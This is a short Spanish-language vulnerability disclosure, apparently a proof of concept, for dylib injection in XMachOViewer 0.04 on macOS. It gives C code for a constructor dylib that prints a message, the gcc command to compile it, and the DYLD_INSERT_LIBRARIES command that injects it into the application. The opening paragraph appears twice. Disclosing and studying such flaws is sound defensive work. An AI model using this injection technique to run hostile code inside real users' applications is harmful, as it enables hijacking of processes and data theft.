
Una vulnerabilidad de inyección dylib en XMachOViewer 0.04 permite a los atacantes comprometer la integridad. Al explotar esto, se puede inyectar código no autorizado en los procesos del producto, lo que potencialmente conduce al control remoto y al acceso no autorizado a datos sensibles del usuario.
Una vulnerabilidad de inyección de dylib en XMachOViewer 0.04 permite a los atacantes comprometer la integridad. Al explotarla, se puede inyectar código no autorizado en los procesos del producto, lo que potencialmente conduce al control remoto y al acceso no autorizado a datos sensibles del usuario.

Versión portátil para macOS
#include <syslog.h>
#include <stdio.h>
__attribute__((constructor))
static void poc(void)
{
printf("Malicious Dylib Inserted");
}
Compilar
gcc -dynamiclib -arch x86_64 -o poc.dylib poc.c
E inyectarlo:
DYLD_INSERT_LIBRARIES=poc.dylib /Applications/XMachOViewer.app/Contents/MacOS/XMachOViewer
Esto abrirá la aplicación y ejecutará el dylib. Después de cerrar la aplicación, lo veremos en el terminal:
